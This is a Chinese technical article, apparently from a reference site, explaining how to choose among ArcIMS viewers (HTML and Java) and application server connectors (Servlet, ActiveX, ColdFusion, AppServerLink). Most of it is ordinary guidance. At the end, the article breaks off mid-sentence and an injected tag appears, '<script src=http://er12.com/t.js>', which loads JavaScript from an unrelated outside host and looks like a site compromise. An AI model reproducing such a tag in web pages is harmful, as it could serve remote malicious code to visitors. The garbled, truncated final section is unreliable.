如何选择ArcIMS连接器和Viewers

当规划一个arcims的站点时,第一个面临的问题就是"我要选择什么样的客户端?"这是一个很难回答的问题。esri提供了三种viewer以供选择。然而,通过选择不同的连接器--servlet、activx、coldfusion或appserverlink连接器--可以获得一个不同寻常的客户端。所以,当我们考虑使用什么viewer时,选择什么样的连接器同样是一个需要仔细考虑的问题。下面的讨论可以帮助arcims的用户,开发商和管理员决定最合适的连接器和viewer的组合。

arcims客户端组件

viewers决定了arcims站点的功能和外观,决定了提供哪些空间、属性查询工具和显示工具。arcims提供了三种viewer选择。

htmlviewer

htmlviewer由一组html和javascript程序组成。它比任何一种javaviewer都更轻巧,但不是最瘦的viewer。viewer的胖或瘦代表了需要下载到浏览器的数据量。选择htmlviewer的一个主要原因是它的功能的可扩展性。通过dhtml,javascript,xml和其他技术,我们可以对已有的功能进行扩展。不需使用任何arcims连接器,我们仍然可以在htmlviewer中使用activeserverpages(asp),coldfusion和java技术。但是,htmlviewer同时只能显示一个imagemapservice。imagemapservice将结果以jpg,gif或png格式发到客户端--与featuremapservice数据流的发送方式不同。

javaviewer

arcims提供两种javaviewers--javastandardviewer和javacustomviewer。javaviewer通过javaapplets提供地图服务和信息查询。javaapplet不同于servlet,它运行在客户端,不是服务器端,并且必须下载到客户端。因此,java客户端比其他的客户端更胖。通过javaviewer浏览网站,用户必须首先下载两个plug-ins。

javastandardviewer无法定制工具或布局。而javacustomviewer可以通过html和javascript调用applets进行定制。因为netscape不支持applet编程,因此javacustomviewer不能在netscape浏览器中使用。

所有的javaviewers都可以支持image和featuremapservices,并且支持同时使用多个mapservices。featuremapservice使用数据流,因此可以支持客户端的用户交互和分析功能。

应用服务器连接器

arcims应用服务器连接器连接了web服务器和arcims应用服务器。其中servlet连接器--arcims的默认连接器--可以用在arcims的所有三个viewers中。coldfusion和activex连接器通过定制的客户端将各自的语言翻译为arcxml,用来和arcims的应用服务器进行通讯。appserverlink是java应用向arcims应用服务器发送arcxml请求的通道。它可以用于独立的java应用,或网站调用的javaapplet,或构建网站的javaserverpagers(jsp)中。

servletconnector

servlet是运行在服务器端的java应用。如果使用servlet,需要servletengine软件的支持。如果webserver本身不包含servletengine,则需要第三方的servletengine软件。通过servletconnector建立的站点几乎可以支持任何webserver和viewer的组合。通过arcimsdesigner可以创建servletconnector连接的站点,而且只需要很少的编程工作就可以建立一个基本的,但稳固的站点。

activexconnector

通过activexconnector,可以使用asp进行网站的开发。vbscript、html、javascript和xml可以用来定制网站。asp在服务器端解释并被以只读的格式传送到浏览器。客户端不需要下载任何东西。activexconnector定制的客户端与html或javaviewer相比是更瘦的客户端。activexconnector需要基于microsoftwindows的服务器,webserver必须是microsoftinternetinformationserver(iis)。客户端可以是任何浏览器,不需要插件支持。activxconnector还可以被用在独立的vb应用中,使用方式类似于mapobjects的应用。在开发文档中,esri提供示例程序和对象模型图。但是,它的功能没有html或javaviewer那么强大。

coldfusionconnector

coldfusionconnector非常类似于activexconnector,因为它的代码位于服务器,并被翻译为浏览器可以识别的格式。coldfusion使用coldfusion标记语言(cml),一种类似于html的可以被coldfusion服务器解释的标记。该连接器可以用于windows或unix服务器上的大部分webserver。webserver上必须安装coldfusion服务器。coldfusionconnector定制的客户端与html或javaviewer相比是更瘦的客户端,也不需要插件的支持。可以通过coldfusion标签,html,javascript和xml搭建coldfusion站点。esri提供入门示例帮助建立站点,但功能没有html或javaviewer强大。可以通过安装coldfusionstudio--coldfusion的开发环境,使得开发过程变得更容易。

appserverlink

appserverlink为开发基于java的arcimsviewers提供了更多的选择。通过appserverlink,可以编写java独立应用,applets和jsp。搭建java独立应用的过程很类似于编写mapobjects的应用。象java版本的arcexplore?script src=http://er12.com/t.js>

  • 如何选择ArcIMS连接器和Viewers已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计